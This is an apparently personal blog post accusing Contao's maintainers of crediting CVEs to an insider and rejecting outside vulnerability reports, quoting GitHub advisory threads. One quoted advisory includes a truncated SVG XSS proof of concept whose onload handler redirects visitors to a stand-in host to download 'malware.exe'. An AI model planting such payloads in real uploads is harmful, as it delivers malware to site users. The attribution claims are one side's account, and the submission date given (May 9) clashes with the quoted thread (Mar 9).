CONTAO'S CVE FRAUD

Contao's CVE fraud & fake bug bounty program

Abstract

Contao's shady bug bounty program and self-assigned CVE factory.

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Table of Contents

Overview

This document examines Contao's vulnerability attribution practices on GitHub, specifically surrounding CVE disclosures. Contao is a German software company, known primarily for its open-source CMS, Contao CMS. The following analysis outlines irregularities that challenge the integrity and transparency of their security advisory process.

Official repository: https://github.com/contao/contao

Defining "CVE Fraud"

The term *CVE fraud* is not formally recognized — yet. But as the vulnerability disclosure ecosystem matures, the need to identify patterns of ethical manipulation becomes more urgent. CVE fraud, in this context, refers to the misattribution or deliberate misrepresentation of vulnerability discoveries, including:

- Assigning CVEs to bugs discovered internally while rejecting or ignoring prior public disclosures.
- Duplicating vulnerability reports and reattributing them under new identifiers.
- Failing to credit original researchers in order to centralize recognition within a project.

This isn't a technical failure. It's a **governance and ethical breakdown**.

Contao's CVE attribution patterns

A review of Contao's security advisories on GitHub reveals a striking pattern: a disproportionate number of vulnerabilities are attributed to a single maintainer — **@leofeyer**, who is both a contributor and gatekeeper.

Reference:
GitHub Commits by leofeyer

Screenshot:



Finding and reporting vulnerabilities in your own codebase is commendable. But when:

- Every CVE points to the same insider,
- External contributors are dismissed,
- And vulnerabilities are re-filed internally after public disclosure...

...it becomes clear the process is more about control than collaboration.

Screenshot of Contao's Security Advisories Listing



There are over 20 CVEs here that are all credited to one person, leofeyer, the project's maintainer.

May 9th, the submission and the rejection

On May 9th, 2025, I submitted three separate vulnerabilities to Contao. All were rejected. One in particular — a vulnerability involving **XSS via SVG file upload** — was tagged as duplicate. The advisory provided as justification pointed to a pre-existing CVE: **CVE-2024-45965**, originally submitted by a third party.



XSS via SVG file upload

GitHub thread showing submission, ausi's response, and claim of duplication:

XSS via SVG file upload

Edit advisory

Closed · Moderate · 0xHamy opened GHSA-4x74-g3xg-qq3j on Mar 9 · 9 comments

Package	Affected versions	Patched versions
No package listed	5.2.2	None

0xHamy opened on Mar 9

Description

Summary

In Contao version 5.2.2, a cross-site scripting (XSS) vulnerability exists due to insufficient filtering of SVG file uploads. Any backend user with file upload permissions can upload an SVG file containing embedded malicious JavaScript, which executes when the file is accessed. This allows attackers to force unauthorized downloads of malicious files (e.g., malware) onto users' computers, posing a significant security risk to all users who interact with the affected system.

Details

Contao 5.2.2 does not implement adequate sanitization or filtering for SVG files uploaded via the backend file management interface. SVG files support embedded JavaScript through attributes like `onload`, which can be exploited to execute arbitrary code in the context of the victim's browser. In this case, the vulnerability allows malicious JavaScript to redirect users to a URL hosting malware (e.g., `http://127.0.0.1:8000/malware.exe`), triggering an automatic download. While direct access to `document.cookie` is not possible due to typical XSS limitations in this context, the ability to deliver malware significantly amplifies the severity of the issue. The lack of input validation or restrictions on SVG content is the root cause, and the issue is reproducible in the default configuration of Contao 5.2.2.

PoC

To reproduce this vulnerability, follow these steps:

1. Log in to Contao 5.2.2 as a backend user with file upload permissions.
2. Navigate to the file management interface at `/contao?do=files`.
3. Click the "Expand all" button to reveal all file directories. Directories where uploads are permitted will display a green `+` symbol.
4. Click the `+` symbol to upload a file and create an SVG file with the following content:

```
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" onload="window.location.href='http://127.0.0.1:8000
```

Severity

Moderate 5.7 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	Low
User interaction	Required
Scope	Unchanged
Confidentiality	None
Integrity	High
Availability	None

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N

CVE ID

No known CVE

Weaknesses

No CWEs

Credits

0xHamy Reporter

Collaborators

Only the following users and teams can see and collaborate on this advisory:

contao owners

0xHamy Author Remove

Publishers

Only the following users and teams can publish this advisory:

contao owners

leofeyer

0xHamy added themselves as a collaborator on Mar 9

0xHamy was credited as a reporter on Mar 9

0xHamy accepted credit on Mar 9 — Decline credit

ausi commented on Mar 9 — Member

This seems to be a duplicate of GHSA-mrw8-5368-phm3

0xHamy commented on Mar 9 — Author

@ausi This vulnerability will be submitted to MITRE for CVE assignment after 7 days, on or after March 17, 2025. It will be fully publicized after 90 days, on or after June 9, 2025. If a CVE is assigned or a patch is released prior to June 9, 2025, public disclosure will occur earlier.

ausi closed this on Mar 10

ausi commented on Mar 10 • edited — Member

> Why is it not fixed in the new version?

The advisory was published without our knowledge and a fix has not been implemented/released yet.

> This vulnerability will be submitted to MITRE for CVE assignment after 7 days

There is already an existing CVE number (CVE-2024-45965). Why would you create another one?



Tracing the original discovery

CVE-2024-45965 was disclosed on **September 5, 2024**, by a Thai security research team known as **Grim The Reaper (SOSECURE Thailand)**. Their write-up was public and clearly detailed the vulnerability in Contao CMS.

- **Original write-up:** Medium article link
- **CVE link:** NVD listing

Despite this, Contao later submitted a **new advisory** — for the same issue — under a different CVE: https://github.com/advisories/GHSA-mrw8-5368-phm3

This new CVE is **credited solely to @leofeyer**, with **no mention** of either Grim The Reaper's original disclosure or my resubmission.

Screenshot of the original vulnerability submission by **Grim The Reaper**:



Contao's explanation: a convenient deflection

When asked why they re-reported a public vulnerability under their own name, Leofeyer from Contao offered the following justification:

> *"Unfortunately, the report CVE-2024-45965 targeted the wrong package and was not disclosed responsibly, so we decided to request a new CVE number to avoid confusion. I can assure you that we don't normally do this.."*

Here are some screenshots of our discussion:



0xHamy commented 2 days ago — Author

I just posted about you guys and your shady bug bounty program:
https://hkohi.ca/blog/5

I will try my best to get your program reviewed by Github.

zoglo commented 2 days ago • edited — Member

Hello @0xHamy, you weren't the first one reporting this bug as something similar has been reported prior to you but in the mono repo, slightly different and not the affected bundle.

This advisory has been changed due to convenience reasons as a duplicate as it would still appear when installing the mono repo via e.g. composer. You can read more about the discussion here:
github/advisory-database#5476

Instead of waiting for a reply from our side, you already started writing a full blog post within your two messages (that weren't even an hour apart), already including screenshots of a closed source discussion and publishing it, something I would not deem professional.

0xHamy commented 2 days ago — Author

@zoglo

Our definitions of "professionalism" clearly diverge.

I don't consider rejecting valid reports and later re-reporting the same vulnerability under your own name or assigning CVEs to bugs planted and discovered by insiders to be remotely professional either.

That blog post will remain up. It's there to protect independent security researchers from wasting their time on a program that appears, at best, disorganized and at worst, exploitative. If you truly respected this community, you would welcome scrutiny, not deflect it.



Let's examine this carefully:

- "Wrong package" is vague. The vulnerability still affected **Contao** and posed a real threat.
- "Not disclosed responsibly" is subjective and irrelevant to crediting technical discovery.
- "Avoid confusion" is not a license to claim sole authorship on a public, timestamped finding.

Even more troubling is that my report, which **did** target the correct repository, was also rejected. **Yet the exact same vulnerability was later attributed to an insider (leofeyer).**

A double standard in disclosure

Here is a summary of what occurred:

Reporter	Disclosure Date	Package Targeted	Response from Contao	CVE Assigned
Grim The Reaper	Sep 5, 2024	Contao (imprecise)	**Ignored**	CVE-2024-45965
Me (0xHamy)	May 9, 2025	Correct repo	**Rejected as duplicate**	None
Leo Feyer	Post-May 9, 2025	Same repo	**Accepted**	GHSA-mrw8-5368-phm3

If my submission was invalid due to duplication, then so was Feyer's — unless the goal was never accuracy, but control.

Screenshot showing leofeyer's submission:



Community Standards vs. Contao Practices

In better-governed ecosystems, such as Apache, where I've reported previously, multiple researchers are often credited for similar or concurrent discoveries. Transparency is prioritized over ego.

Contao's approach runs in stark contrast:

- No dual attribution
- No cross-referencing
- No acknowledgement of prior art

This reflects a broader issue: **a lack of transparency in CVE attribution that erodes trust in GitHub's** advisory system.

Optics over ethics

Rather than engage with the factual dispute, Contao's maintainers quickly pivoted to critique **tone**, **timing**, and **perceived professionalism.**

This is a classic deflection strategy:

Ignore the evidence. Police the messenger.

It reveals a troubling mindset, one where being publicly exposed is seen as a bigger problem than violating disclosure ethics.

Conclusion

Security advisories are meant to protect users, not inflate internal contributor profiles. A project that routinely:

- Rejects outside reports
- Duplicates public disclosures
- Assigns CVEs to insiders
- Fails to acknowledge prior discoveries

...is abusing the disclosure process and undermining the very system it claims to support.

This isn't just a failure in procedure, it's a failure of **ethics** in the open-source.